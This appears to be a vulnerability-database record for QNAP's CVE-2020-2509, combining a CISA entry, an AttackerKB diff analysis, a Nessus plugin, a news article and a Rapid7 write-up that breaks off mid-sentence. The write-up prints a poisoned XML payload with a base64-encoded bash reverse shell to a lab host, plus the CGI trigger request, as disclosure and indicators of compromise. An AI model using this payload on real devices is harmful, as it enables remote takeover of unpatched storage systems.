A command injection vulnerability has been reported to affect QTS and QuTS hero. If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application. We have already fixed this vulnerability in the following versions: QTS 4.5.2.1566 Build 20210202 and later QTS 4.5.1.1495 Build 20201123 and later QTS 4.3.6.1620 Build 20210322 and later QTS 4.3.4.1632 Build 20210324 and later QTS 4.3.3.1624 Build 20210416 and later QTS 4.2.6 Build 20210327 and later QuTS hero h4.5.1.1491 build 20201119 and later
{"cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "QNAP NAS devices contain a command injection vulnerability which could allow attackers to perform remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-11T00:00:00", "type": "cisa_kev", "title": "QNAP Network-Attached Storage (NAS) Command Injection Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2509"], "modified": "2022-04-11T00:00:00", "id": "CISA-KEV-CVE-2020-2509", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2022-08-24T05:01:38", "description": "A command injection vulnerability has been reported to affect QTS and QuTS hero. If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application. We have already fixed this vulnerability in the following versions: QTS 4.5.2.1566 Build 20210202 and later QTS 4.5.1.1495 Build 20201123 and later QTS 4.3.6.1620 Build 20210322 and later QTS 4.3.4.1632 Build 20210324 and later QTS 4.3.3.1624 Build 20210416 and later QTS 4.2.6 Build 20210327 and later QuTS hero h4.5.1.1491 build 20201119 and later\n\n \n**Recent assessments:** \n \n**wvu-r7** at May 05, 2021 7:09am UTC reported:\n\nNot sure this is [the vuln](<https://www.qnap.com/en-us/security-advisory/qsa-21-05>) (and I can\u2019t test it), but it stood out to me because the `exec_mount()` function no longer calls `popen(3)`\u2026 or much of anything else:\n \n \n int32_t exec_mount(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {\n - int32_t str3;\n - memset(&str3, 0, (int32_t)&g2);\n - int32_t str4;\n - memset(&str4, 0, (int32_t)&g1);\n - sprintf((char *)&str3, \"mount.cifs -o \\\"username=%s,password=\\\"%s\\\",soft,iocharset=utf8,%s%s\\\" %s %s 2>&1\", (char *)a3, (char *)a4, (char *)a5, (char *)a6, (char *)a1, (char *)a2);\n - struct _IO_FILE * stream = popen((char *)&str3, \"r\");\n - char * str = fgets((char *)&str4, (int32_t)&g265, stream);\n - int32_t result = 0;\n - if (str != NULL) {\n - while (strstr((char *)&str4, (char *)((int32_t)&g177 + 0x109d4)) == NULL) {\n - char * str2 = fgets((char *)&str4, (int32_t)&g265, stream);\n - result = -1;\n - if (str2 == NULL) {\n - goto lab_0x10a14;\n - }\n - }\n - char * found_char_pos = strchr((char *)&str4, 40);\n - result = -13;\n - if (found_char_pos != NULL) {\n - char * str5 = (char *)((int32_t)found_char_pos + 1);\n - *strchr(str5, 41) = 0;\n - sscanf(str5, \"%d\");\n - result = -1;\n - }\n - }\n - lab_0x10a14:\n - if (stream != NULL) {\n - pclose(stream);\n - }\n - return result;\n + int32_t str;\n + memset(&str, 0, (int32_t)&g2);\n + sprintf((char *)&str, \"mount.cifs -o \\\"username=%s,password=\\\"%s\\\",soft,iocharset=utf8,%s%s\\\" %s %s 2>&1\", (char *)a3, (char *)a4, (char *)a5, (char *)a6, (char *)a1, (char *)a2);\n + return 0;\n }\n \n\nThe `CIFS_Mount_Speed()` function no longer calls `system(3)` either:\n \n \n int32_t CIFS_Mount_Speed(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {\n int32_t str;\n memset(&str, 0, (int32_t)&g1);\n int32_t str2;\n - memset(&str2, 0, (int32_t)&g83);\n + memset(&str2, 0, (int32_t)&g82);\n int32_t v1 = 0;\n int32_t v2;\n - memset(&v2, 0, (int32_t)&g80);\n + memset(&v2, 0, (int32_t)&g79);\n int32_t v3;\n memset(&v3, 0, 128);\n int32_t v4;\n function_3a18((int32_t)((char)v4 == 47) + a2, &v1);\n int32_t v5;\n function_3a18(a3, &v5);\n function_3a18(a4, &v3);\n char * v6 = (char *)a1;\n sprintf((char *)&str, \"//%s/%s\", v6, &v1);\n sprintf((char *)&str2, \"%s/%s/%s/%s\", \"/mnt/RTRR_CIFS\", v6, &v3, &v1);\n int32_t str3;\n sprintf((char *)&str3, \"mkdir -p %s\", &str2);\n - system((char *)&str3);\n int32_t v7;\n - memcpy(&v7, (int32_t *)((int32_t)&g169 + 0x10bb0), (int32_t)&g90);\n + memcpy(&v7, (int32_t *)((int32_t)&g158 + 0x10a7c), (int32_t)&g89);\n int32_t v8;\n - memcpy(&v8, (int32_t *)((int32_t)&g169 + 0x10df0), 128);\n + memcpy(&v8, (int32_t *)((int32_t)&g158 + 0x10cbc), 128);\n int32_t v9 = &v7;\n int32_t v10 = function_3e20(&str, &str2, a4, &v5, v9, &v8);\n int32_t result = 0;\n while (v10 != 0) {\n int32_t v11;\n int32_t v12 = function_3e20(&str, &str2, a4, &v5, v9, &v11);\n result = 0;\n if (v12 == 0) {\n break;\n }\n v9 += 64;\n if (v9 == (int32_t)&v5) {\n result = -v12;\n return result;\n }\n v10 = function_3e20(&str, &str2, a4, &v5, v9, &v8);\n result = 0;\n }\n - lab_0x10c7c:\n + lab_0x10b6c:\n return result;\n }\n \n\n`function_3e20()` above is actually `exec_mount()`. Sorry about that.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-16T00:00:00", "type": "attackerkb", "title": "CVE-2020-2509", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2509"], "modified": "2021-04-24T00:00:00", "id": "AKB:D9826725-69EA-420F-9AB1-F16E3F0FDD68", "href": "https://attackerkb.com/topics/blXTLRqfIu/cve-2020-2509", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-01-10T19:21:28", "description": "The version of QNAP QTS or QuTS hero on the remote host is affected by a command injection vulnerability. If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application. \n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T00:00:00", "type": "nessus", "title": "QNAP QTS / QuTS hero Command Injection (QSA-21-05)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2509"], "modified": "2022-08-12T00:00:00", "cpe": ["cpe:/a:qnap:qts", "cpe:/o:qnap:qts", "cpe:/o:qnap:quts_hero"], "id": "QNAP_QTS_QUTS_HERO_QSA-21-05.NASL", "href": "https://www.tenable.com/plugins/nessus/159895", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(159895);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/08/12\");\n\n script_cve_id(\"CVE-2020-2509\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/02\");\n\n script_name(english:\"QNAP QTS / QuTS hero Command Injection (QSA-21-05)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is missing a vendor-supplied security patch.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of QNAP QTS or QuTS hero on the remote host is affected by a command injection vulnerability. If exploited,\nthis vulnerability allows attackers to execute arbitrary commands in a compromised application. \n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.qnap.com/en/security-advisory/qsa-21-05\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply the workaround and upgrade to the relevant fixed version referenced in the QSA-21-05 advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-2509\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/04/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/04/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/04/19\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:qnap:qts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:qnap:qts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:qnap:quts_hero\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"qnap_qts_quts_hero_web_detect.nbin\", \"qnap_qts_installed.nbin\");\n script_require_ports(\"installed_sw/QNAP QTS\", \"installed_sw/QNAP QuTS hero\");\n\n exit(0);\n}\n\ninclude('vcf_extras_qnap.inc');\n\nvar app_info = vcf::qnap::get_app_info();\n\nvar constraints = [\n {'product':'QTS', 'min_version':'0.0', 'max_version':'4.2.6', 'Build':'20210327', 'fixed_display':'QTS 4.2.6 build 20210327 '},\n {'product':'QTS', 'min_version':'4.3.3', 'max_version':'4.3.3', 'Number':'1624', 'Build':'20210416', 'fixed_display':'QTS 4.3.3.1624 build 20210416'},\n {'product':'QTS', 'min_version':'4.3.4', 'max_version':'4.3.4', 'Number':'1632', 'Build':'20210324', 'fixed_display':'QTS 4.3.4.1632 build 20210324'},\n {'product':'QTS', 'min_version':'4.3.6', 'max_version':'4.3.6', 'Number':'1620', 'Build':'20210322', 'fixed_display':'QTS 4.3.6.1620 build 20210322'},\n {'product':'QTS', 'min_version':'4.5.1', 'max_version':'4.5.1', 'Number':'1495', 'Build':'20201123', 'fixed_display':'QTS 4.5.1.1495 build 20201123'},\n {'product':'QTS', 'min_version':'4.5.2', 'max_version':'4.5.2', 'Number':'1566', 'Build':'20210202', 'fixed_display':'QTS 4.5.2.1566 build 20210202'},\n {'product':'QuTS hero', 'min_version':'0.0', 'max_version':'4.5.1', 'Number':'1491', 'Build':'20201119', 'fixed_display':'QuTS hero h4.5.1.1491 build 20201119'},\n];\n\nvcf::qnap::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_HOLE\n);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-04-05T19:23:45", "description": "Two critical zero-day bugs affect legacy QNAP Systems storage hardware, and expose devices to remote unauthenticated attackers.\n\nThe bugs, tracked as CVE-2020-2509 and CVE-2021-36195, impact QNAP\u2019s model TS-231 network attached storage (NAS) hardware, allowing an attacker to manipulate stored data and hijack the device. The vulnerabilities, also impact some non-legacy QNAP NAS gear. However, it is important to note that patches are available for non-legacy QNAP NAS hardware.\n\nA patch for the now-retired QNAP model TS-231 NAS device, first released in 2015, is scheduled to be released within weeks, QNAP representatives told Threatpost. \n[](<https://threatpost.com/newsletter-sign/>)\n\nPatches for current model QNAP devices need to be downloaded from the [QNAP download center](<https://www.qnap.com/en/download>) and applied manually.\n\n## **Zero-Day Disclosure**\n\nBoth bugs were disclosed on [Wednesday by SAM Seamless Network researchers,](<https://securingsam.com/new-vulnerabilities-allow-complete-takeover/>) who released limited technical details. The disclosure was ahead of official QNAP public disclosure of the vulnerabilities, and was in line with SAM Seamless Network\u2019s disclosure policy of giving a vendor three months to disclose vulnerability details. Both flaws were found in the Oct. and Nov. 2020 timeframe and made public Wednesday.\n\n\u201cWe reported both vulnerabilities to QNAP with a four-month grace period to fix them,\u201d researchers wrote. \u201cDue to the seriousness of the vulnerabilities, we decided not to disclose the full details yet, as we believe this could cause major harm to tens of thousands of QNAP devices exposed to the internet.\u201d\n\nQNAP would not specifically say how many additional legacy NAS devices may be impacted. The company, in a statement to Threatpost said: \u201cThere are many hardware models of NAS in QNAP. (See: <https://www.qnap.com/en/product/eol.php>). In the list, you can find the models, the period of hardware repair or replacement, the supported OS and App updates and maintenance and the status of technical support and security updates. Most of the models, the security update could be upgraded to the latest version, i.e. QTS 4.5.2. However, some old hardware models have limits of firmware upgrade. For example, TS-EC1679U-SAS-RP could support only the legacy QTS 4.3.4.\u201d\n\n## **Breaking Down QNAP Bug One **\n\nTracked as CVE-2020-2509, this remote code execution (RCE) bug is tied to firmware used in both old and new hardware, according to QNAP. Firmware versions prior to QTS 4.5.2.1566 (build 20210202) and QTS 4.5.1.1495 (build 20201123) are affected. Patches for current (non-legacy) hardware can be downloaded via QTS [4.5.2.1566](<https://us1.qnap.com/Storage/TS-X72/TS-X72_20210202-4.5.2.1566.zip>) (ZIP) and QTS [4.5.1.1495](<https://us1.qnap.com/Storage/TS-X72/TS-X72_20201123-4.5.1.1495.zip>) (ZIP).\n\nThe bug (CVE-2020-2509) resides in the NAS web server (default TCP port 8080), according to researchers.\n\n\u201cPrevious RCE attacks on QNAP NAS models relied on web pages which do not require prior authentication, and run/trigger code in server-side. We\u2019ve therefore inspected some CGI files (which implement such pages) and fuzzed a few of the more relevant ones,\u201d researchers described.\n\nThey said that during the inspection, they were able to fuzz the web server with customized HTTP requests to different CGI pages, focusing on ones that didn\u2019t require prior authentication. \u201cWe\u2019ve been able to generate an interesting scenario, which triggers remote code execution indirectly (i.e., triggers some behavior in other processes),\u201d researchers wrote.\n\nA fix for the vulnerability, suggested by researchers, is \u201cadding input sanitizations to some core processes and library APIs, but it has not been fixed as of this writing.\u201d\n\n## **Breaking Down QNAP Bug Two **\n\nThe second bug, tracked as CVE-2021-36195, is an unauthenticated RCE and arbitrary file-write flaw. It impacts QNAP TS-231\u2019s latest firmware (version 4.3.6.1446), released in September.\n\nThe flaw allows two types of attacks. One allows a remote attacker \u2013 with access to the web server (default port 8080) \u2013 to execute arbitrary shell commands, without prior knowledge of the web credentials.\n\nThe second attack \u201callows a remote attacker with access to the DLNA server (default port 8200) to create arbitrary file data on any (non-existing) location, without any prior knowledge or credentials. It can also be elevated to execute arbitrary commands on the remote NAS as well,\u201d according to researchers at SAM Seamless Network.\n\nTo exploit the bug, researchers created a proof-of-concept attack. \u201c[We used] a python script that we wrote in order to hack into the device. We achieve full takeover of the device by using a simple reverse shell technique. After that, we access a file that\u2019s stored on the QNAP storage. Any file stored can be accessed similarly.\u201d\n\nQNAP said a fix for supported hardware can be downloaded from the [QNAP App Center](<https://www.qnap.com/en/app_center/>) and is identified as Multimedia Console 1.3.4.\n\n## **QNAP Patch Timeline**\n\n\u201cCurrently, we have released the fix in the latest firmware and related app,\u201d QNAP representatives told Threatpost. \u201cSince the severity level is high, we would like to release the security update for legacy versions. It is expected to be available in a week. In addition, we hope there will be another week for users\u2019 updates.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-04-01T19:53:04", "type": "threatpost", "title": "Legacy QNAP NAS Devices Vulnerable to Zero-Day Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-2509", "CVE-2020-9922", "CVE-2021-36195"], "modified": "2021-04-01T19:53:04", "id": "THREATPOST:050AFD1CCD4C82226651D8587E31824F", "href": "https://threatpost.com/qnap-nas-devices-zero-day-attack/165165/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "rapid7blog": [{"lastseen": "2022-08-04T15:33:39", "description": "## Background\n\n\n\nCVE-2020-2509 was added to CISA\u2019s [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) in April 2022, and it was listed as one of the \u201cAdditional Routinely Exploited Vulnerabilities in 2021\u201d in CISA\u2019s [2021 Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.\n\n\n\nCVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by [SAM](<https://securingsam.com/new-vulnerabilities-allow-complete-takeover/>) and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an [advisory](<https://www.qnap.com/en/security-advisory/qsa-21-05>).\n\nNeither organization provided a CVSS vector to describe the vulnerability. QNAP\u2019s advisory doesn\u2019t even indicate the vulnerable component. SAM\u2019s disclosure says they found the vulnerability when they \u201cfuzzed\u201d the web server\u2019s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a [proof-of-concept video](<https://web.archive.org/web/20210402153643im_/https://securingsam.com/wp-content/uploads/2021/03/render1617112752460_optimized.gif>) that allegedly demonstrates exploitation of the vulnerability, although it doesn\u2019t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That\u2019s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.\n\nGiven the ridiculous amount of internet-facing QNAP NAS ([350,000+](<https://www.shodan.io/search?query=product%3A%22QNAP%22>)), seemingly endless ransomware attacks on the systems ([Qlocker](<https://www.qnap.com/static/landing/2021/qlocker/response/da-dk/>), [Deadbolt](<https://www.qnap.com/en/security-advisory/QSA-22-19>), and [Checkmate](<https://www.qnap.com/en-us/security-advisory/QSA-22-21>)), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.\n\n## Poisoned XML command injection (CVE-2022-XXXX)\n\n\n\nThe video demonstrates [exploitation](<https://github.com/jbaines-r7/overkill>) of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don\u2019t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a [DNS hijack](<https://threatmodel.venafi.com/techniques/VT0022/002/>) of `update.qnap.com`. In the video, our lab network\u2019s Mikrotik router has a malicious static DNS entry for `update.qnap.com`.\n\n\n\nSAM and QNAP\u2019s disclosures didn\u2019t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we\u2019d know this \u201cnew\u201d vulnerability is CVE-2020-2509. If they\u2019d published a vector with Attack Complexity of low, we\u2019d know this \u201cnew\u201d vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA\u2019s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this \u201cnew\u201d vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 ([AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H](<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1>)). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this \u201cnew\u201d issue. As such, we are going to describe the issue in more detail.\n\n## Exploitation and patch\n\nThe \u201cnew\u201d vulnerability can be broken down into two parts:\n\nA remote and unauthenticated attacker can force a QNAP device to make an HTTP request to `update.qnap.com`, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a `system` call without any sanitization.\n\nBoth of these issues can be found in the QNAP\u2019s web server cgi-bin executable `authLogin.cgi`, but the behavior is triggered by a request to `/cgi-bin/qnapmsg.cgi`. Below is decompiled code from `authLogin.cgi` that highlights the use of HTTP to fetch a file.\n\n\n\nUsing `wget`, the QNAP device will download a language-specific XML file such as `http://update.qnap.com/loginad/qnapmsg_eng.xml`, where `eng` can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters `<img>` tags, it will attempt to download the associated image using `wget`.\n\n\n\nThe `<img>` value is added to a `wget` command without any type of sanitization, which is a very obvious command injection issue.\n\n\n\nThe XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):\n \n \n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Root>\n <Messages>\n <Message>\n <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>\n <link>http://www.qnap.com/en/index.php?lang=en&sn=822&c=351&sc=513&t=520&n=18168</link>\n </Message>\n <Message>\n <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>\n <link>http://www.qnap.com/en/index.php?lang=en&sn=8685</link>\n </Message>\n <Message>\n <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>\n <link>http://www.facebook.com/QNAPSys</link>\n </Message>\n </Messages>\n </Root>\n \n\nBecause of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because `/` is a disallowed character.\n \n \n \u200b\u200b<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Root>\n \t<Messages>\n \t\t<Message>\n \t\t\t<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>\n \t\t\t<link>http://www.qnap.com/></link>\n \t\t</Message>\n \t</Messages>\n </Root>\n \n\nAn attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to `http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng`. Here, again, `eng` can be replaced by a variety of languages.\n\nObviously, the number one challenge to exploit this issue is getting the HTTP requests for `update.qnap.com` routed to an attacker-controlled system.\n\n\n\nBecoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. [VPNFilter](<https://blog.talosintelligence.com/2018/06/vpnfilter-update.html>), [FLYING PIG](<https://www.motherjones.com/politics/2013/09/flying-pig-nsa-impersonates-google/>), and the [Iranian Digator incident](<https://www.cnet.com/news/privacy/fraudulent-google-certificate-points-to-internet-attack/>) are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and `update.qnap.com` can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.\n\n\n\nThe other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don\u2019t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). [Third-party DNS server compromise](<https://attack.mitre.org/techniques/T1584/002/>) is more interesting because of its ability to scale. Both [Mandiant](<https://www.mandiant.com/resources/global-dns-hijacking-campaign-dns-record-manipulation-at-scale>) and [Talos](<https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html>) have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.\n\n\n\nSo, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker \u2014 which calls into question why QNAP didn\u2019t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as `update.qnap.com`. Additionally, the image download logic was updated to use an `execl` wrapper called `qnap_exec` instead of `system`, which mitigates command injection issues.\n\n\n\n## Indicators of compromise\n\nThis attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to `/home/httpd/RSS/rssdoc/`. The following is an example of the malicious XML from our proof-of-concept video:\n \n \n [albinolobster@NAS4A32F3 rssdoc]$ ls -l\n total 32\n -rw-r--r-- 1 admin administrators 0 2022-07-27 19:57 gen_qnapmsg_eng.xml\n drwxrwxrwx 2 admin administrators 4096 2022-07-26 18:39 image/\n -rw-r--r-- 1 admin administrators 8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml\n -rw-r--r-- 1 admin administrators 229 2022-07-27 19:57 qnapmsg_eng.xml\n -rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log\n [albinolobster@NAS4A32F3 rssdoc]$ cat qnapmsg_eng.xml \n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Root>\n <Messages>\n <Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>\n \n\nSimilarly, an attack can leave an `sh` process hanging in the background. Search for malicious ones using `ps | grep wget`. If you see anything like the following, it\u2019s a clear IOC:\n \n \n [albinolobster@NAS4A32F3 rssdoc]$ ps | grep wget\n 10109 albinolo 476 S grep wget\n 12555 admin 2492 S sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne\n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |\n sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne\n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |\n sh)`.tmp 1>>/dev/null 2>>/dev/null\n \n\n## Conclusion\n\nPerhaps what we\u2019ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it\u2019s one of the [many other command injections](<https://www.cvedetails.com/vulnerability-list/vendor_id-10080/Qnap.html>) that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It\u2019s impossible to know because QNAP publishes almost no details about any of their vulnerabilities \u2014 a practice that _might_ thwart some attackers, but [certainly harms defenders](<https://www.rapid7.com/blog/post/2022/06/06/the-hidden-harm-of-silent-patches/>) trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.\n\nSAM did not owe us a good disclosure (which is fortunate, because they didn\u2019t give us one), but QNAP _did_. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure 